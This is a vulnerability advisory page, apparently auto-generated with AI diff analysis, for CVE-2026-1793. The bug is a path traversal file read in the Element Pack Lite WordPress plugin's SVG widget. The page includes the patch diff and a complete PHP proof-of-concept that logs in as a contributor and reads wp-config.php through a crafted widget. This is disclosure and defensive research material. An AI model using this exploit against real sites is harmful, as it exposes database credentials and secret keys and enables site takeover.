Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1793: Element Pack Addons for Elementor <= 8.3.17 – Authenticated (Contributor+) Arbitrary File Read (bdthemes-element-pack-lite)

CVE ID CVE-2026-1793
Severity Medium (CVSS 6.5)
CWE 22
Vulnerable Version 8.3.17
Patched Version 8.3.18
Disclosed February 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1793:
This vulnerability is an authenticated arbitrary file read flaw in the Element Pack Addons for Elementor WordPress plugin. The SVG widget’s render_svg function lacks proper path validation, allowing contributors and higher-privileged users to read arbitrary server files. The CVSS score of 6.5 reflects the authentication requirement and confidentiality impact.

The root cause resides in the render_svg function within /modules/svg-image/widgets/svg-image.php. The vulnerable code (lines 854-864) processes user-supplied SVG file URLs. It converts these URLs to local file system paths without validating if the resolved path remains within the intended upload directory. The function extracts a relative path from the URL and directly appends it to the base directory, enabling directory traversal sequences.

Exploitation requires an authenticated attacker with at least contributor-level access. The attacker crafts a malicious SVG widget configuration containing a file:// URL or a path traversal sequence in the svg_file parameter. When the widget renders, the render_svg function processes this input, converts it to a local path, and reads the file contents. The attacker can then exfiltrate sensitive files like wp-config.php, /etc/passwd, or other configuration files.

The patch introduces multiple defense layers. It adds a path traversal check by rejecting any relative_path containing ‘..’ sequences. The code now uses realpath() to resolve symbolic links and normalize paths. It verifies that the resolved real_path is within the real_base upload directory using strpos() comparison. The patch also adds an is_file() check to prevent directory listing. These changes ensure files are only read from within the designated upload directory.

Successful exploitation exposes sensitive server files to authenticated attackers. This includes WordPress configuration files containing database credentials, secret keys, and API tokens. System files like /etc/passwd or SSH keys may also be accessible. While the vulnerability does not directly enable remote code execution, the exposed credentials often lead to complete site compromise through database access or privilege escalation.

Differential between vulnerable and patched code

Code Diff
--- a/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
+++ b/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
@@ -4,14 +4,14 @@
  * Plugin Name: Element Pack Lite - Addons for Elementor
  * Plugin URI: http://elementpack.pro/
  * Description: The all-new <a href="https://elementpack.pro/">Element Pack</a> brings incredibly advanced, and super-flexible widgets, and A to Z essential addons to the Elementor page builder for WordPress. Explore expertly-coded widgets with first-class support by experts.
- * Version: 8.3.17
+ * Version: 8.3.18
  * Author: BdThemes
  * Author URI: https://bdthemes.com/
  * Text Domain: bdthemes-element-pack
  * Domain Path: /languages
  * License: GPL3
  * Elementor requires at least: 3.28
- * Elementor tested up to: 3.34.4
+ * Elementor tested up to: 3.35.0
  */


@@ -82,7 +82,7 @@
 if ( ! element_pack_pro_installed() ) {

 	// Some pre defined value for easy use
-	define( 'BDTEP_VER', '8.3.17' );
+	define( 'BDTEP_VER', '8.3.18' );
 	define( 'BDTEP_TPL_DB_VER', '1.0.0' );
 	define( 'BDTEP__FILE__', __FILE__ );
 	if ( ! defined( 'BDTEP_TITLE' ) ) {
--- a/bdthemes-element-pack-lite/modules/svg-image/widgets/svg-image.php
+++ b/bdthemes-element-pack-lite/modules/svg-image/widgets/svg-image.php
@@ -854,14 +854,24 @@
 		if ( ! empty( $svg_file ) ) {
 			// Try to get the SVG file contents
 			if ( strpos( $svg_file, get_site_url() ) === 0 ) {
-				// Local file, convert URL to path
+				// Local file, convert URL to path with path traversal protection
 				$upload_dir = wp_upload_dir();
-				$baseurl = $upload_dir['baseurl'];
-				$basedir = $upload_dir['basedir'];
+				$baseurl    = $upload_dir['baseurl'];
+				$basedir    = $upload_dir['basedir'];
 				if ( strpos( $svg_file, $baseurl ) === 0 ) {
-					$svg_path = $basedir . substr( $svg_file, strlen( $baseurl ) );
-					if ( file_exists( $svg_path ) ) {
-						$svg_content = file_get_contents( $svg_path );
+					$relative_path = substr( $svg_file, strlen( $baseurl ) );
+					$relative_path = ltrim( $relative_path, '/' );
+					// Reject path traversal sequences
+					if ( strpos( $relative_path, '..' ) === false ) {
+						$svg_path  = $basedir . ( $relative_path !== '' ? '/' . $relative_path : '' );
+						$real_path = realpath( $svg_path );
+						$real_base = realpath( $basedir );
+						// Ensure resolved path is inside upload directory
+						if ( $real_path !== false && $real_base !== false && ( $real_path === $real_base || strpos( $real_path, $real_base . DIRECTORY_SEPARATOR ) === 0 ) ) {
+							if ( file_exists( $real_path ) && is_file( $real_path ) ) {
+								$svg_content = file_get_contents( $real_path );
+							}
+						}
 					}
 				}
 			}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1793 - Element Pack Addons for Elementor <= 8.3.17 - Authenticated (Contributor+) Arbitrary File Read
<?php

$target_url = 'http://target-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
$file_to_read = '../../../../wp-config.php';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);

// Step 2: Extract nonce from Elementor editor page
$editor_url = $target_url . '/wp-admin/post-new.php?post_type=page';
curl_setopt_array($ch, [
    CURLOPT_URL => $editor_url,
    CURLOPT_HTTPGET => true
]);
$response = curl_exec($ch);

preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Create a page with malicious SVG widget
$create_page_url = $target_url . '/wp-admin/admin-ajax.php';
$widget_settings = json_encode([
    'svg_image' => [
        'svg_file' => [
            'url' => $target_url . '/wp-content/uploads/' . $file_to_read
        ]
    ]
]);

$post_data = [
    'action' => 'elementor_ajax',
    'actions' => json_encode([
        'action_id' => 'save_builder',
        'editor_post_id' => 'new',
        'data' => [
            'elements' => [[
                'id' => 'exploit_widget',
                'elType' => 'widget',
                'settings' => $widget_settings,
                'widgetType' => 'svg-image'
            ]]
        ]
    ]),
    '_nonce' => $nonce
];

curl_setopt_array($ch, [
    CURLOPT_URL => $create_page_url,
    CURLOPT_POSTFIELDS => $post_data
]);
$response = curl_exec($ch);

// Step 4: Extract file contents from response
preg_match('/<svg[^>]*>(.*?)</svg>/s', $response, $file_matches);
if (!empty($file_matches[1])) {
    echo "File contents:n" . html_entity_decode($file_matches[1]);
} else {
    echo "Exploit failed. Check authentication and nonce.";
}

curl_close($ch);
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School